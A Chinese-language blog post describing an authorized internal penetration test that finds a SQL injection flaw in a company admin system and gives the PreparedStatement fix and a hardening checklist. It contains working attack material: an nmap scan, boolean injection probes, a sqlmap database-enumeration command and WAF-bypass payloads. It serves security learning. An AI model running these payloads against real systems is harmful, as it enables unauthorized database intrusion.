渗透测试实战:我是如何发现公司内网的SQL注入漏洞的

David Ng | 2026-07-25T11:02:00 | Database, Security

一次真实的内部安全审计记录,从信息收集到SQL注入发现和修复的完整过程

# 渗透测试实战:我是如何发现公司内网的SQL注入漏洞的 ## 背景 公司安全部门要求对内部系统做一次渗透测试,我负责测试后台管理系统。这次发现了一个比较严重的SQL注入漏洞。 **声明:本文仅供安全学习,请勿用于非法用途。所有测试均在授权范围内进行。** ## 信息收集 ```bash # 扫描目标端口 nmap -sV -p 1-10000 192.168.1.100 # 发现开放端口 # 80/tcp - nginx # 8080/tcp - tomcat # 3306/tcp - mysql(不应该对外!) ``` ## 发现注入点 在用户搜索接口,测试单引号: ``` GET /api/users?name=test' # 返回500错误,包含SQL错误信息 ``` ### 手动测试 ```sql -- 测试是否为字符型注入 ?name=test' AND '1'='1 -- 正常返回 ?name=test' AND '1'='2 -- 返回空 -- 确认是字符型SQL注入! ``` ### sqlmap自动化 ```bash sqlmap -u 'http://192.168.1.100:8080/api/users?name=test' \ --cookie='SESSION=xxx' \ --dbs --batch ``` ## 踩坑:WAF绕过 > 公司有WAF,直接注入会被拦截。需要用一些绕过技巧。 ```bash # WAF拦截了 union select # 绕过方式:大小写混合 + 注释 ?name=test' UnIoN/**/SeLeCt/**/1,2,3-- - # 或者用sqlmap的tamper脚本 sqlmap -u '...' --tamper=space2comment,randomcase ``` ## 修复建议 ```java // 有问题的代码 - 字符串拼接 String sql = "SELECT * FROM users WHERE name = '" + name + "'"; // 修复:使用预编译语句 PreparedStatement ps = conn.prepareStatement( "SELECT * FROM users WHERE name = ?" ); ps.setString(1, name); ``` ## 修复清单 - 所有SQL查询改用PreparedStatement - MySQL端口3306不要对外暴露 - 错误信息不要返回给前端 - 添加输入参数校验 ## 总结 SQL注入是老生常谈,但依然是OWASP Top 10的常客。用ORM框架和预编译可以避免99%的注入问题。

← Back to Blog